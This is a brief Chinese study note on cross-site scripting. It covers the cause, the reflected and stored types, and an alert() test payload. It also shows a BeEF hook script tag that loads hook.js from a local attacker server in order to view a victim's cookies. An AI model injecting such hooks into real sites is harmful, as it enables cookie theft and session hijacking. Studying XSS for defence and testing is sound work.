【XSS漏洞】笔记

xss：跨站脚本攻击
成因：程序员没有过滤特殊字符，并且把用户填的东西（代码）返回到前端。
例如：留言板

分类：
反射型：不经过数据库
存储型：数据会进入数据库

例如：

<script>alert("xss")</script>

钩子：

<script src="127.0.0.1:3000/hook.js"></script> 

用beef查看目标用户的cookie